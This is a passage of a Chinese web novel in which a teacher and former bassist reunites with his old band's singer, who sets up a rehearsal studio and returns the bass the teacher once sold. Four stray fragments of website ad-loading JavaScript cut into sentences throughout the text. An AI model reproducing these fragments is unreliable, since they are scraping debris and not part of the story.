虽然教职工的假期还要晚几天,接下来还要改卷,统计分数,开这会那会,但至少今天学生走之后他们可以暂时喘口气。 李萤心又对着班上仅剩的几个还在等家长来接的学生交代几句之后也迅速溜之大吉,回公寓收拾了一番,估摸着家长来接孩子的高峰期过了,再去地库取车,准备去机场接人。 代步的车买回来就没怎么开过,虽然不住教师宿舍但租的公寓离学校就几步路,买什么东西基本靠叫外卖和跑腿,去远点的地方又懒得开,买车纯粹因为大家都买了,而且也怕有什么事需要应急。如今总算派上用场。 当然他以前读书时也想过买车,和大多数抱着男人的浪漫那种想法的人不同,他那时候特别想拥有一辆面包车,因为他们每次要去外地演出,搬运乐器都是一大难题,如果有辆什么都能往里塞的小面包车,就不用每次都操心鼓怎么拆调音台怎么塞。 所以后来哪怕他不需要面包车了,到了莫名其妙跟风买车的时候,还是选了空间更大的SUV。 他要去接俞沅。 俞沅的假期和他的假期神奇地同步了,李萤心怀疑这是俞沅看了他们学校公众号里发布的校历的结果,俞沅可能不知道教职工还得再上几天班,把机票订在了学生放假的这一天。 俞沅提前给李萤心发了航班号,但是没让李萤心来接,李萤心在确定了本次行程俞沅只身一人前来的时候坚决要来。 李萤心说要接他的理由是“万一你打车被人认出来了怎么办”,俞沅则答他“没那么红”。 其实也不完全是因为这样,李萤心对上次俞沅来时自己的态度多少感到抱歉,一会儿想人家抱着热切期待来的,自己却躲得远远,一会儿又觉得自己也没什么错,毕竟他俩在那之前都没有互相维系过友情,他会尴尬也很正常…… 这次毕竟是互相约好的,李萤心还是想让俞沅能感到宾至如归。 因为平时不怎么开车,李萤心特地提早了一些出发,在去机场的路上不免想到万一俞沅行程被泄露机场围了一圈站姐代拍怎么办,他要像个安保人员一样为俞沅一边破开重围一边严肃警告旁人“不要拍”“让一让”吗?可惜他这身板不够孔武有力,平时黑脸吓唬吓唬学生还行,不知道能不能吓唬到那些站姐。 他在内心演练半天,到了机场等上一阵之后,发现自己根本就是多虑,戴着渔夫帽和口罩的俞沅平平无奇地走出机场出口,对着李萤心挥手。 李萤心左右张望,心想怎么不红成这样吗?一个围着他拍照的都没有。顶多一些路人大概是看此人个高又挺拔,回头多望了两眼。不能够。 俞沅走到李萤心身边,李萤心想帮他拉行李箱,俞沅轻巧地把箱子拉到另一边,李萤心遂放弃。 看李萤心左顾右盼,俞沅解释道:“其实很多那种行程泄露都是艺人团队主动泄露的,有些人没几个粉丝还得雇人在机场接机。但是正常私人行程没什么意外的话都不会被追。” 李萤心:“……哦,哦。” 俞沅:“嗯。” 在网上也算能畅聊了,最近已经不用什么客套话开头,有事就说事,还能闲话玩笑几句。没想到再次见面还是有点不自在,李萤心干脆不说话了,闷头往停车的地方走。 再一起待会儿就好了,李萤心想。 等到了车上又马上出状况了,俞沅问要不要他来开,李萤心说你来我这里玩哪有让 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你开的道理,俞沅说以前你连电驴都懒得骑,都是能使唤我就尽量使唤我的,李萤心说今时不同往日。 结果李萤心出库的时候差点蹭到人家车,停在那不上不下的。 李萤心:“……”想当大哥好好照顾一下弟弟的,大哥风度尽失了,早知就让这人自己打车,免去今日这番丢脸。 正好电话响起来,俞沅说:“换我来吧,你刚好接电话,别有什么急事。” 李萤心:“……好。”于是下车,和俞沅换了位置,坐到副驾上。 当然也没什么急事,就是一名家长的来电,说李老师你们这个假期都布置了些什么作业啊我得和孩子核对一下我怕他骗我,李老师接电话的时候也习惯性带着职业假笑:“子涵妈妈您好,作业我昨天都发在家长群了还艾特了所有人,您可以直接点开群公告看一下。” 李萤心挂掉电话,听见俞沅道:“原来水晶当老师是这个样子。” 李萤心一手握着手机,一手不知道放哪最后只好抓着安全带,车上放着Pink Floyd那张经典的《月之暗面》。 李萤心想了想,说:“这只是其中一面,面对家长和领导时极尽卑微,在学生面前装模作样。” 俞沅:“在学生面前怎么装?” 话题起来了就好了,能自然而然地说下去,李萤心说:“要凶啊,要有威严,他们都怕我。”说着还有点得意。 没想到俞沅说:“还好吧,不是很凶。” 李萤心:“你又没见过我上课什么样子。” 俞沅:“看过啊。” 李萤心:“?” 俞沅:“你们学校有个视频号,上面有什么公开课集锦,我看到过李老师的。” 李萤心头一扭就望向窗外,感到有些不好意思:“公开课嘛也不好太过分……不是,你怎么跟变态似的连视频号上的东西都看,我自己都没看过呢。” 俞沅没否认:“对啊,我就是变态。” 李萤心对此评价:“你拿自己开玩笑的水平的确见长。” 随后又一个电话打进来,李萤心再次对俞沅露出抱歉的笑:“刚放假是这样的,很多家长会来问这问那。” 不过还好,后来一整个车程都没再有电话铃声响起,李萤心偶尔和俞沅说几句,偶尔在手机上回复一些微信群的接龙,“收到”和紧跟这两个字其后的玫瑰花表情发个不停,后来渐渐的李萤心不说话也不回信息了。 车慢慢开到了市区范围,俞沅停在一个十字路口等绿灯时终于能认真看李萤心,李萤心闭着眼,睡着了,眼皮偶尔跳一下好像在做梦,一扇睫毛也跟着微颤,嘴巴微微张着,呼吸平稳。 车内乐声流淌,车外晚霞在烧尽之后逐渐变成灰烬的颜色,日落月升,月光和街边的路灯霓虹又把灰烬重新点亮。 俞沅深深看了李萤心一眼,下定决心似的,伸手用食指指腹戳了戳他的脸颊,又迅速把手搭回了方向盘上。 17.第十七章 俞沅是在十八岁那年认识的李萤心,那年李萤心二十一,七年过去了,岁月把这块水晶淘洗得更加温润。 此刻俞沅看着水晶熟睡的面庞,依然能想象这张脸上更明媚恣意的笑容是什么样的。他的整个大学时代,水晶对他从不吝啬笑容,有时只是翘起一点狡黠的弧度,更多的时候是不在意形象的哈哈大笑,眼睛会挤在一起,嘴角咧得很开。 笑点很低,很爱笑,说什么都会笑,有时笑太猛了,李萤心还会眯着眼拍拍自己胸口说“笑得好累”,自然地倒到身边的人身上——李萤心那时候还挺喜欢和朋友们勾肩搭背搂抱贴贴,这让俞沅想到自己很小的时候养过的小狗,只要人的手从狗身上离开,小狗就会仰起头用湿漉漉的鼻子拱人的手心,拱到人重新开始抚摸小狗毛茸茸暖呼呼的脑袋和身躯为止。 这和俞沅很不相同,俞沅绝对不会主动和别人有什么肢体接触。但俞沅观察到李萤心有这样的特征以后,一声不吭地在更多时间里占据了李萤心身边的位置,这样当李萤心想靠着谁时,想把手搭在谁肩上时,只能就近地把这些动作施加到他身上。 但他自己是从来不会反过来对李萤心做这些动作的,他觉得自己像一棵树,雀鸟会停在他的枝头,他无法反过来对他的来客做什么,顶多只是随着风发出一些沙沙声。 不论如何,感谢这样的笑容和温热的相触降临到了他身边。 在和李萤心相遇之前,俞沅很少有这种被笑容包围的时刻。他的事情说来容易扫人兴,一般他也懒得提起。简而言之,他是他爸搞婚外情的产物,本来养在外面,结果他妈早早死了,他被接了回去,他爸原配是个很好的人,都这样了也没亏待他,吃穿用度从来没短过他的。 不过也就这样了,任何家庭温馨时刻从来都与他无缘——当然他这样的孩子也不应该奢求这些,能被宽宏大量地给予一方屋檐,能有口饭吃,已经是他极大的幸运。 他常常愧疚,他是无辜的,但他的血脉不是。为了抵消这种愧疚感,他在家里除非必要,几乎不出现在人前,主动把自己的存在感降到最低。依然是为了抵消这种愧疚感,更坦诚地说,也为了不再在别人其乐融融的家里显得格格不入,他上高中以后就离开家在学校住宿,后来跑到更远的地方上大学,自食其力地生活。 然后他遇到了李萤心。 那天俞沅会去搭话纯属意外,下了课看到操场边有乐队在搞快闪演出,他停下来听了会儿,他不懂用专业的角度怎么点评,演奏听起来还可以,抱着吉他的歌手唱得也就算能听,但是抛开唱的人,曲子本身很好听,他想去问问原唱是谁,唱的什么歌。 其实他觉得演的那每一首都好听,但不好意思每一首都问,只问了第二首叫什么。正蹲着理那一堆乐器的线的学长茫茫然转过来,好像不知道他在问哪一首。 俞沅想了想,刚才那段副歌令人印象深刻,他哼了几句,几乎是马上,他看见学长倏然睁大的眼里闪烁着某种光芒。 ——他好激动啊,他拿手机出来要加我的时候手都在抖,可是为什么呢?因为我吗?好奇怪啊。 后来俞沅知道了,歌不是翻唱别人的,是学长自己写的,好厉害。 学长还想让他当他们乐队的主唱。 他唱歌好听吗?不知道,因为没给别人唱过也就没人这样夸过,自己听也不觉得有什么特别。但学长一副捡到宝的样子——用这样的词来形容学长的行为甚至让他难堪,尽管客观来说就是如此。 他不答应纯粹是因为觉得自己不能胜任,没有任何端着的意思。他从来没学过音乐,去过一次在KTV里的同学聚会,也只是坐在角落里看别人唱,和大家都不怎么熟,甚至来提醒他点歌的人都没有。也没有办法想象站在一堆陌生人面前被人凝视是什么样子,说不定根本开不了口,怎么可能唱。 学长非常执着,为了让他来,做了很多额外的事,生活学习上照顾他,找到空就要缠着他。那阵子俞沅收到的赞扬和笑容比人生前十八年遇到的加起来还要多,那个时候俞沅还是不相信自己真在唱歌上有什么特殊的才能,只是有一天忽然想清楚一件事,世界上肯定会有更适合站在台上唱歌的人,如果让学长遇到了更合适的人选…… ……他也会这样对着别人展颜吧。 不想去唱歌,但比起这个,更不想让李萤心去找别人。虽然那时候他还不知道为什么他会这样想。 怀着这样的不安,俞沅终于跟着李萤心和乐队一起排练,继而站到了台上。 第一次上台是和其他乐队一起在本地小型livehouse里的拼盘演出,票价20元倒送酒水才吸引来一些人。在后台时李萤心拿着手机录来录去,说要拍vlog素材,先是问石含章今天准备打快多少,答曰不好说,万一打起来忘情了bpm可能会拉不住,又去问陈悦今天准备弹错几个音,得到一个白眼,和一句“准备从头错到尾”的豪言壮语。 随后李萤心笑嘻嘻地来到俞沅身边,说主唱第一次上台,随便乱唱也没关系啦。 俞沅认认真真保证自己会好好唱,李萤心停了录视频,把手机放回口袋,拍拍俞沅的背,顺道掰了一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 下他:“别驼着背,堂堂正正的,昂首挺胸的。” 怕俞沅不会乐器,不用唱的时候干站在台上尴尬,李萤心又不知从哪里找来一把能喷出泡泡的水枪塞到他手上,教他不知道干什么的时候就走来走去对着其他成员或者观众喷泡泡。 最后又靠过来,在他耳边小小声说:“别怕,我在呢。” 上了台也确实如此,之前据俞沅观察,李萤心平时是只爱在一个固定位置弹的,因为他的琴比较重,整场蹦蹦跳跳很累,而他是个很懒的人。但那场李萤心一直跟在他身边,有时低头看看弦,更多时候注视着他,有时两人视线交会,李萤心会弯一弯眼。 那晚结束以后几个人去吃烧烤,李萤心拿着手机翻演出群里的聊天给俞沅看,里面很多人说什么“夜这星的新主唱音色不错”“虽然青涩但是声音辨识度很高”“有没有人详细介绍一下”。 李萤心邀功似的对俞沅说:“你看大家都夸你,我没说错吧,我们小沅表现得特别好——” 被很多人夸原来是这种感觉,俞沅惶恐又忍不住高兴,很快他的注意力被群聊中另外两句对话吸引,一个人说“贝斯手跟开了视线跟随似的眼睛一直黏在主唱身上”,另一个人回他“水晶找主唱好久了,好不容易找到一个这么不错的,不得当宝贝一样”。 李萤心注意到他在看这几句,笑眯眯地引用了,回复人家:对啊,我就是把他当宝贝一样的。 回复完后手肘撞撞俞沅:“怎样我的宝贝,要吃什么快说,我去那边拿。” 那时候俞沅想,还好十八岁这年他发现自己好像真会唱歌,不然怎么有机会被人当成宝贝,还是被李萤心这样的人。 到后来俞沅想,会唱歌好像也留不住他,到底要怎样做才能留住他? …… 俞沅把车开到自己订的酒店地下停车场,准备先去放下行李。到的时候李萤心还在睡,这阵子闲聊有听李萤心说他在练琴复健,当高中班主任本来就忙,想必要挤时间练习也不容易。 于是俞沅没把李萤心叫醒,就这样一直坐着看着他,用目光描摹他的脸。 不知道过了多久,李萤心将眼皮掀开一条缝,用刚睡醒有些含混的声音问:“嗯?到了?怎么不叫我?” 俞沅拧了一瓶矿泉水递给他:“刚到,正要叫你呢。” 李萤心好像清醒了些,接过俞沅递来的水,坐直喝了一口,又把水瓶拧好,笑容变得局促:“不好意思啊睡过去了。” 俞沅问:“有什么不好意思的。” 俞沅感到有些难过。 18.第十八章 俞沅有话就直说了:“说什么来找你不用找借口,来了又跟我这么客气。” 李萤心:“……” 李萤心只好说:“总要有个习惯的过程。”接着他比手画脚地举了个不知道恰不恰当的例子,“就像那种网友面基,在网上聊得可好了,但是刚见面总是会有点尴尬,要有个破冰的过程。” 俞沅不知道是认同他还是懒得和他辩,没说什么,只是一边解开了安全带,一边说:“哥你在车里等我,我上去放行李,放完回来你再带我去吃好吃的。” 分明是来客,俞沅此时更像一个做主的人。 李萤心问:“不用我帮忙吗?” 俞沅下了车,关车门,去后备箱取行李,声音隔着窗有点闷:“不用,就一个箱子。” 李萤心想也是,而且他还是有点警惕,总觉得按平时吃的瓜来说,酒店这种地方说不定有狗仔——当然了就算他跟着俞沅上酒店被拍到也没什么,俩男的能闹什么花边新闻。 但他总之还是在车上待着,又犹豫了下,没给自己换位置,还坐在副驾上,打开小红书开始搜附近美食推荐。 刚才他听到俞沅说“带我去吃好吃的”才想起自己没找好地方订好位。也不是找借口,但的确太忙了,俞沅又是昨晚临时告诉他行程,他没来得及安排,本来想车上问问俞沅想吃什么,自己却睡过去了。 紧急找私密性好点的地方不知道能否订到位,李萤心懊恼自己做得不周到,神色凝重地翻看网上的攻略,又想说不如叫个外卖上去吃。 很快俞沅就回来了,李萤心干脆问他:“你有什么想吃的吗?” 俞沅反问:“哥平时吃什么?” 李萤心:“食堂。” 这样答了,但李萤心完全不会把这个地点当成备选,本来还在绞尽脑汁想平时外食聚餐常去的店,听到俞沅问:“不是你们学校的职工,可以去食堂吃饭吗?” 李萤心:“有人带着去就可以。” 这时李萤心虽觉得俞沅问得奇怪,但没察觉到对方的意图,直到俞沅认真说:“那我们去食堂吃吧。” 李萤心:“啊?” “现在还开着吗?”俞沅又问。 开着,甚至开到晚上十一点,还供应夜宵。不过李萤心这次没回答了,满脸疑问,心想难道这也是小沅现在的幽默感吗? “累一天了,随便吃点然后先休息吧,明天再吃顿好的。”俞沅不断地新增理由,“而且现在学生放假了,学校里没什么人吧,私密性很好啊,谁能猜到我在学校里吃饭?” 竟无法反驳。 “你累了吗?”李萤心问。 “你累了,”说得太快,俞沅又补充道,“噢,我也累……不是说食堂挺好吃的吗?” “嗯?我们有聊过这个吗?” “没,”俞沅道,“陈悦说的。” 李萤心一时哑然:“……怎么什么都说,不是,这有什么好说的。” “陈悦都吃过,”俞沅顿了顿,“我也要吃。” 陈悦确实真来他们学校食堂吃过,应该是去年的事。此人当时网恋被骗三千块非常难过,一定要找李萤心痛诉,李萤心转了三千块给他,他说不是钱的问题,他的心真的受伤了,急需朋友安慰。李萤心忙得要死,说你下了班来我学校吧,我们边吃我边听你说,听完我还要去看晚自习。 就是这样一件俞沅不提起李萤心早已忘之脑后的事。 李萤心头有点痛,不是,破学校食堂有什么好抢着吃的。但想想俞沅说得也有道理,李萤心应下了,俞沅竟然心情大好的模样,开始发动车子。 俞沅住的酒店离学校不算远,开车一会儿就到了,俞沅在李萤心指挥下把车开进校门时,李萤心想起俞沅喝了酒走到这里那个夜晚,他只是回想起来,并没有提起,然而停好车以后,俞沅并肩跟着李萤心往教职工食堂方向走的时候,自己说了起来。 他说:“那天可能是醉了才会走那么远,但第二天醒来记得好清楚,那种不甘心的感觉。” 李萤心问:“……什么不甘心的感觉?” 俞沅说:“不甘心你总是丢掉我,像丢垃圾一样。” 李萤心:“……我哪有。” 俞沅:“没关系,那之后我就决定了,我要像鬼一样缠着你。” 李萤心终于问出来了:“所以这是你现在的幽默感吗?” 俞沅:“对啊,好笑吗?” 李萤心:“……一般般吧。” 把人带到食堂,这个时间段虽然还在饭点,但该用餐的早已经吃过了,何况好不容易学生放假了不用赶着上晚自习,很多老师都跑外面吃了。教职工食堂里只稀稀拉拉坐着两三个老师,打饭窗口的阿姨一手拿着勺一手刷着抖音。 阿姨看到有人来,把手机塞到兜里,笑眯眯说:“哎呀李老师……”又看了一眼俞沅,自顾自地在那说,“这是新老师吗?不对啊新老师也不会学期末才来,是李老师家人?朋友?看着有点面熟。” 李萤心懒得解释,就说是的。 阿姨记得很多老师爱吃什么不爱吃什么,给李萤心舀了一大勺炒海蛎,虽然不是刚炒出来,放着保温已经有段时间了,但爆香的蒜蓉葱姜味混着少少海的腥气还是扑鼻而来。阿姨也要给俞沅来点,被李萤心及时拦住:“他不爱吃。” 结果俞沅说:“没事,我试试,不用太多,一点点就行。” 李萤心只好说:“那你要吃什么自己跟阿姨说吧。” 坐下来之后俞沅夹了一个海蛎吃,立刻眉头紧锁开始喝汤。李萤心叹了口气,开始时不知哪来的惯性动作拿勺子想把俞沅盘里的海蛎扒拉过来,已经这么做了,忽然意识到这已经不是读书的时候,有点没边界感了,但又想着俞沅说自己和他假客气,便硬着头皮把海蛎全舀了过来。 不要浪费粮食。 “还以为你口味变了。”李萤心说。 “没变,”俞沅道,“滑滑的黏黏的,不喜欢。” “那干吗还吃?” “就是想试试。”俞沅说。没说的话咽回肚子里了,想来学校看看,不是立刻被叫经纪人扭送走那种,想看看水晶工作的地方,想知道他在现在的生活中的样子,从别的渠道得来的碎片毕竟太过有限。 “其他的还可以吧?”李萤心问。 “挺好的。” 李萤心感觉这是个蛮能引以为傲的点:“这学校别的不说,教职工保障这一块还是挺好的,而且我运气好,头回当班主任没遇到特别难搞的学生和家长。” 俞沅:“那哥开心吗?” 李萤心愣了愣,随后又笑道:“谁上班会开心?” 两人之间又被沉默包围了,无声地吃完饭,去倒厨余放餐具时,李萤心忽然开口:“我本意 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不是想丢下你。” 这个问题横在他们之间好几年,散的时候就没好好说,后来更没有机会,莫名其妙重新聊上了,在今天之前也一直没人主动提起。 有些话避而不谈就行,这是成年人的处事法则。谁心里有什么刺又有什么所谓呢,只要对方还是需要相处之人,有什么刺都忍了,或者干脆就忘了。 人们常说时间能抚平一切,可俞沅分明没被抚平。说是幽默感玩笑话,哪有人开玩笑这样开的? 李萤心道:“那个时候是我自己状态不好,感觉组不下去了,拿了其他人说不想组当挡箭牌……不是没考虑过你的想法,但可能更多还是在考虑自己。对不起。” 俞沅说:“没关系,该赌的气我也赌完了,而且为自己考虑很正常,我有点生气也是为自己考虑。” 李萤心:“果然那时候不跟我联系是在赌气。” 俞沅:“赌了一点气,但也不完全是。” 李萤心:“嗯?” 俞沅:“那时候也很忙很累,整天想着怎么出头,感觉在当时跟你说什么也改变不了现状,干脆不说了。” 李萤心在想要从哪里问起,想说很忙很累遇到了什么事要不然和我说说,俞沅没给他这个机会,接着道:“后来有点后悔,很多事情跟我设想的根本不一样。” 李萤心:“……比如呢?” 俞沅:“比如久不维护的友谊重新启动时会像两个生锈的齿轮在艰难运转,之类的吧。” 李萤心把餐具放好洗好手,左右也没人,李萤心转过来对着俞沅张开了双臂:“抱一个吧弟弟。” 俞沅:“真的吗?” 李萤心:“真的。” 俞沅结结实实的拥抱盖了上来,李萤心的脑袋刚好够到俞沅的颈间,带点柑橘酸涩的木质香萦绕鼻尖,李萤心嗅了嗅,正想回抱对方,突然尴尬地发现—— “我洗完手忘了擦干,”李萤心很遗憾地说,“不能抱你了。” 俞沅松了手,直起身子,那阵淡香也跟着离去了。他从口袋里掏出纸巾,让李萤心抽一张走。 李萤心一边擦手一边说:“以后常联系。” 俞沅“嗯”了一声。 之后的活动依然乏味,李萤心问要不要去哪逛,比如去看看钟楼夜景,俞沅再次拒绝,说不用了,学校里走走然后好回去休息了。 学校有什么好逛的。看办公室的灯亮着,李萤心怕给俞沅惹麻烦也没带他去办公室看,最后就在操场走了一圈,李萤心指着一个亭子说有些学生会在这里早恋,以为很隐蔽,实则老师们一清二楚,只是没人告发就懒得抓。 实在逛无可逛了,准备取车出校门的时候,李萤心又问:“准备在鲤州待多久?时间充裕的话我想想带你去哪逛……不过我明早要开会,可能下午才有空,你早上可以睡晚一点。” 还有改卷任务,不过还好这次考试不是联考,是年级自己出的卷子,为了方便各位老师,也没安排集中改卷,在规定时间内把卷子改完就行,大不了今晚再熬个大夜奋斗一下提前改完…… 结果俞沅说:“哥不用管我,忙你的就行,我要在这待的时间不短的,这两天我先去找陈悦,还有别的事。” 原来有别的安排,也确实俞沅来到这儿又不止他一个朋友。李萤心刚还飞速在脑内做计划,现在只能哑火,他应道:“……啊,好。” 19.第十九章 次日李萤心按原来上班的节奏,早上开完会就溜回公寓去改卷,一直到下午。改卷的时候手机扔到远一点的地方,防止自己三心二意,结果他改几篇作文就站起来心说活动活动筋骨,去拿手机一看,新消息提醒倒是不少,又是什么工作群刷屏又是什么公众号通知,坐回去再改几份卷子,又心说去拿水喝,再次拿起手机一看,还是那样。 不管是俞沅还是陈悦都没人联系他一下,他俩在干吗呢,玩得开心吗?李萤心转念又想,这个陈悦不用上班吗,怎么有空出来当地陪。 临近饭点,李萤心暂时完成了今日份的改卷任务,坐在桌前畅快玩手机,各个软件刷了一圈回来,也没真在专心看那些段子短视频,脑子里一直忍不住在想:就算我今天要忙,叫我出来吃个饭也行啊…… 在点开外卖软件和直接问问之间,李萤心选择了后者。不过他戳开的是陈悦的聊天框。 李萤心:你们今天都去哪玩了? 过了一会儿陈悦回他:玩啥啊,啥也没玩。 陈悦:正要找你呢。 李萤心:? 陈悦发了个餐厅的定位过来。本来还有点忧愁的李萤心立刻又高兴了起来,收拾收拾就出发了。 吃的是新开的沙茶火锅,依然是包间小圆桌,陈悦旁边的凳子上放了些杂物,李萤心只好还是坐到俞沅旁边。不知道为什么说开之后还是会有种别扭,明明来的路上李萤心也很期待和俞沅碰面,但只要一靠近俞沅,李萤心还是不由自主感到拘束。 思来想去还是只能归结于在一起待得太少了。 饭间李萤心又问今天他俩去哪玩了,其实鲤州能去的地方无非那些,寺庙,海边,还有和别的城市没没太大区别的文化街。但这俩人始终坚持说没去哪玩,不知道在搞什么神秘。 俞沅说:“等会儿哥就知道了。” 李萤心想不通他们在卖什么关子,干脆就不想了。吃完饭陈悦开车载他们到一个写字楼,李萤心一头雾水地跟着上去,电梯上行至9楼,一直到陈悦打开其中一间办公室的门时李萤心还在开玩笑说:“你这是换了个地方工作要带我参观你的新工位……” 话说一半李萤心卡壳了。 陈悦把灯打开。进的是写字楼,外面看起来是办公室,结果灯一亮,李萤心看见的是一间宽敞的排练室,墙上贴满了高密度吸音海绵,里头乐器音箱调音台一应俱全,另一间房甚至搭了个小型录音室,还有休息区。 李萤心看了看陈悦,陈悦“嘿嘿”一笑,他又转过去看还靠在门外的俞沅,俞沅嘴角的弧度也上扬了些许。 李萤心犹豫着问:“这是……?” 陈悦终于颇为得意地说:“我们这一整天就是在布置这里。” 一股热潮涌上李萤心的心口,但他不敢确信是他想的那样,又刻意用玩笑消解此刻的迟疑:“你搞副业?打算楼下打通做琴行?还是说出租排练室?” 陈悦白了他一眼:“你真有够白目。” 陈悦又说:“你好弟弟租的。” 俞沅戳了戳李萤心的肩,示意他进屋,李萤心走进去,还有些不知所措地立在门边,目光却已经扫过整间屋子的角角落落。 俞沅也进门,把门关好,才开始解释:“我不是跟哥说过,我打算在这边待一阵子,边玩边写歌吗?但是想着没有工作室在这边也不方便。” 李萤心以为俞沅说的待一阵就是待几天,毕竟俞沅是个事业上升期的歌手,照常理来说哪怕有几天可以歇,大多数时候应该也是在连轴转才比较符合刻板印象…… 就算真的打算在这里采风写歌,也不可能待特别久的,真的有必要搞一间工作室吗?要是俞沅是这么刁钻的人,那这里是不是应该再配个录音师配点其他的工作人员,可是也没有啊。 再退一万步说,来鲤州这件事,难道不是俞沅临时做的决定吗?但这样一间排练室从装修到器材进场肯定要耗费不少时间,绝非他们这一天的“布置”就能完成的。 李萤心只这么看着俞沅。 俞沅好似看得出他的每个问题,一一解释道:“说待一阵就是真的待一阵,我不走流量路线的,自由度也比较高。但是作品是根基,如果专辑做出来反响不好后果可能会糟糕一点。 “之前先拜托了陈悦帮忙看地方盯装修,本来我想的是如果能租到独栋的小房子更好,但是他说这个写字楼在你学校和他公司的中点,方便。” 陈悦插了句话:“我现在职级升了,不用坐班,忙的时候疯忙,但是闲的时候是真闲,所以抽着空就帮他看了。” 李萤心依然盯着俞沅看,问了个答案显而易见的问题:“不是你的工作室吗?考虑我俩干吗?” 俞沅歪头:“我的工作室,考虑我的贝斯手不是理所应当的吗?” 李萤心背着手走开了,看起来是要去看看排练室里各项设备,实际他感到眼眶已经有点发烫,再多和俞沅讲一句就要失态了。 还好陈悦致力于调节气氛:“明明是三个人的电影,为何我没有姓名?” 李萤心在鼓捣他的贝斯箱,听见俞沅说:“我现在也会弹吉他了,不用你也可以,大不了放program。帮我搬东西辛苦了,工资找我助理给你结一下。” 陈悦:“你他妈。” 李萤心把那阵热意压了下去,偷偷地笑了。 俞沅可能怕李萤心又在独自不知道纠结什么,特意说:“我还找了石头哥。” 李萤心一惊:“什么?他不是在老家吗?”不会等一下石含章突然就冒了出来,就像电视里“石头就在现场让我们 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 把他请出来”那种狗血剧情吧。 还好俞沅说:“让他在他们当地帮我录了鼓。” 李萤心问:“他还在打吗?” 俞沅:“不知道,但是答应得飞快,还问我用不用直接过来,我说那太麻烦了。” 李萤心:“……” 俞沅又说:“至少帮我做完这一首歌好吗?” 李萤心:“你都这样问了。” “说实话是得练练,真的太久没碰了,拨弦我都不会了,”陈悦搓了搓手,“朋友们别废话了抓紧时间各自练会儿好吗?明天都还要上班呢。” 李萤心:“你们不早说,我没带琴出来呀。” 陈悦昂了昂下巴:“那儿有现成的啊。” 李萤心循着陈悦的视线望了过去,有个合着的黑色琴箱安安静静待在角落里,李萤心起初环顾的时候没有太注意到它。 他想着可能是俞沅一起备的新家伙,毕竟他们这儿目前没有鼓手,可这排练室里连鼓也备着。但他走过去蹲到琴箱边上时,发现箱子并非是新的。 保养得很好,却依然看得出一些磨损的痕迹。 箱子上面Fender的LOGO旁贴了很眼熟的、一张巨大的麦当劳薯条的贴纸,还用透明纸胶带加固过。 箱子把手上挂着一只已经有点瘪了的汉堡玩偶。 李萤心一直死命压抑住的那股热流终于从眼中涌出,他摸了摸那张已经很有些年代褪了色的贴纸,再慢慢把琴箱的扣开了,把箱子打开。 夜空的颜色就这么缀在琴箱的绒里,李萤心此刻视野模糊,在眼泪的作用下,他看见这把四弦琴的琴身似乎闪着光。 那年他已经把他的琴几乎都卖了。 有些琴是通过熟人问来问去转手出去的,有些是在乐手乐迷群里交易的,还有挂在闲鱼上卖的。就比如这把Fender美专二代暗夜蓝,和另外几把一起挂了有一段时间。 某天有个很豪爽的买家把他主页余下的所有琴都拍下了,李萤心当时还想这个人应该是做二手琴生意的二道贩子。 他拍视频让对方看琴的状态,特意说了一下发货前会把琴箱和琴身上的装饰都清理干净再寄出,结果对方说不用,还让他千万记得保留琴原来的样子。 那时候李萤心还觉得那可能是以有上任主人使用过为卖点的中古乐器店,也没想太多,就这么寄出了,还写了小卡片: 祝拿到这把琴的友友,开心生活,开心练琴,享受音乐。:D 李萤心抬手抹掉了一些泪,可是马上就有新的泪水滚出来。 然后俞沅也蹲到了他旁边,把他的脸扳过来,拿了纸帮他擦眼泪:“我本意也不是想让你哭的。” 俞沅又说:“我希望水晶开心生活,开心练琴,享受音乐。” 20.第二十章 更晚些的时候依旧是陈悦开车把两人送回去,先到的是俞沅的酒店,把人放下去了,陈悦单独和李萤心待一块,忽然收起刚才插科打诨的模样,余光看向副驾上的李萤心,认真道:“俞沅是真把你放心上的。” 李萤心怔了怔:“我知道。” “大费周章的,”陈悦和李萤心讲话也不拐弯抹角,“就为让你重新做你喜欢的事。” 李萤心:“我也知道……我又不瞎。” 陈悦问:“你是怎么想的呢?” 他是怎么想的呢? 放弃年少时的理想实在是太容易的一件事,李萤心自己如是,也见过很多与他同样的人。 其实倒不如说坚持不下去才是常态,有人现实条件不允许其继续追梦,有人从高峰跌落一蹶不振,有人努力到头平平庸庸放下执着,世界上大多数有过梦想的人最后都放弃了梦想,留下一两个幸运儿采撷了胜利的甘果,在顶峰引诱无数新的青春的无畏的灵魂来成为炮灰。 俞沅千方百计地,只想让李萤心重新踏上追寻理想的道路。这个理想可以不是做出什么惊天地泣鬼神的歌从而功成名就——当然有也不赖——这个理想也可以是“开心生活,开心练琴,享受音乐”。 对重拾梦想这件事,人们的态度也各不相同,有人磨得没了心气,认为就算机会在眼前自己也把握不住,有人已甘于现状,害怕再度把自己的生活搞得一团糟。 陈悦见李萤心没回答,接着问:“我一直不敢问,其实你会不会怪他扰乱了你现在平静的生活?” 李萤心长久地没有答话,陈悦几乎都要以为他对此话题将避而不答,毕竟这些年来他们也都很有默契地不再去谈有关音乐和梦想的话题。 正要把话再岔开之际,李萤心突然开口了:“说一点都不会你信吗?” 陈悦“啊”了一声。 李萤心:“相反,我很感谢他。我打个比方,这个比方可能不太恰当,在这件事上我的情况其实有点像那种吵完架委屈到爆炸但是嘴硬说自己没事的那一方,没事说得越大声,其实越是在等人来哄……当然现实中我不太赞成这样,有什么问题还是要好好沟通。 “怎么说呢,但我说的这个‘哄’,又不是平时说的那种,讲几句好听的话又能续一段时间。” “其实我知道你有时候也会自责吧,觉得是不是你说不想组了我们才会散的,”李萤心看向陈悦,这个同他并肩走了十几年,从高中时代就一直陪伴在他身边的好友,“对不起,其实我应该早点跟你说,不要这样想。” 